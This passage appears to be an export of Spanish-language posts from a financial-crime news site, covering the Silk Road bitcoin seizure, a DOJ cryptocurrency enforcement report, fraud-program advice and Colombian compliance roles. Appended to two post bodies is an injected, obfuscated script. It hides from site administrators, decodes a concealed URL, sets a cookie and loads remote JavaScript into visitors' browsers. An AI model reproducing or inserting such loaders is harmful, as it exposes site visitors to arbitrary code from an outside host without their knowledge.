https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel 